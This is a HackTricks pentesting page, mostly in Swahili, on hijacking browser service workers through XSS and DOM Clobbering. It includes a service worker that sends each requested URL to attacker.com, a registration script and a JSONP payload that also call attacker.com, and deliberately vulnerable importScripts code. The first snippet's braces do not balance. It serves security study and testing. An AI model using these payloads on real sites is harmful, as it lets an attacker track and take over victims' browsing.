hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

Abusing Service Workers

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

---

Basic Information

Msaidizi wa huduma ni script inayotumiwa na kivinjari chako kwa nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele ambavyo havihitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuboresha uwezo wa usindikaji wa mbali na wa nyuma. Taarifa za kina kuhusu wasaidizi wa huduma zinaweza kupatikana hapa. Kwa kutumia wasaidizi wa huduma ndani ya eneo la wavuti lenye udhaifu, washambuliaji wanaweza kupata udhibiti juu ya mwingiliano wa mwathirika na kurasa zote ndani ya eneo hilo.

Checking for Existing Service Workers

Wasaidizi wa huduma waliopo wanaweza kuangaliwa katika sehemu ya Wasaidizi wa Huduma ya tab ya Programu katika Zana za Wataalamu. Njia nyingine ni kutembelea chrome://serviceworker-internals kwa mtazamo wa kina zaidi.

Push Notifications

Ruhusa za arifa za kusukuma zinaathiri moja kwa moja uwezo wa msaidizi wa huduma kuwasiliana na seva bila mwingiliano wa moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa msaidizi wa huduma kuleta tishio endelevu. Kinyume chake, kutoa ruhusa huongeza hatari za usalama kwa kuruhusu kupokea na kutekeleza matumizi mabaya yanayoweza kutokea.

Attack Creating a Service Worker

Ili kutumia udhaifu huu unahitaji kutafuta:

• Njia ya kupakia faili za JS zisizo na mpangilio kwenye seva na XSS ili kupakia msaidizi wa huduma wa faili ya JS iliyopakiwa
• Omba la JSONP lenye udhaifu ambapo unaweza kubadilisha matokeo (kwa msimbo wa JS usio na mpangilio) na XSS ili kupakia JSONP na mzigo ambao uta pata msaidizi wa huduma mbaya.

Katika mfano ufuatao nitawasilisha msimbo wa kujiandikisha msaidizi mpya wa huduma ambao utasikiliza tukio la fetch na uta tuma kwa seva ya washambuliaji kila URL iliyopatikana (hii ni msimbo unahitaji kupakia kwenye seva au kupakia kupitia jibu la JSONP lenye udhaifu):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Na hii ndiyo code itakayoweza kuandikisha mfanyakazi (code ambayo unapaswa kuwa na uwezo wa kuitekeleza kwa kutumia XSS). Katika kesi hii, ombi la GET litatumwa kwa seva ya washambuliaji kuarifu ikiwa kuandikishwa kwa mfanyakazi wa huduma kulifanikiwa au la:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Katika kesi ya kutumia mwisho wa JSONP ulio hatarini unapaswa kuweka thamani ndani ya var sw. Kwa mfano:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

There is a C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.

The 24-hour cache directive limits the life of a malicious or compromised service worker (SW) to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a service worker kill-switch for rapid deactivation.

Abusing importScripts in a SW via DOM Clobbering

The function importScripts called from a Service Worker can import a script from a different domain. If this function is called using a parameter that an attacker could modify he would be able to import a JS script from his domain and get XSS.

Hii hata inapita ulinzi wa CSP.

Example vulnerable code:

• index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>

• sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Na DOM Clobbering

Kwa maelezo zaidi kuhusu kile DOM Clobbering ni angalia:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Ikiwa URL/domain ambayo SW inatumia kuita importScripts iko ndani ya kipengele cha HTML, ni uwezekano wa kuibadilisha kupitia DOM Clobbering ili kufanya SW ipakue script kutoka kwa domain yako mwenyewe.

Kwa mfano wa hili angalia kiungo cha rejea.

Rejea

• https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering

Jaribu Kikundi cha Usalama wa Juu

{% embed url="https://discord.gg/tryhardsecurity" %}

{% hint style="success" %} Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

{% endhint %}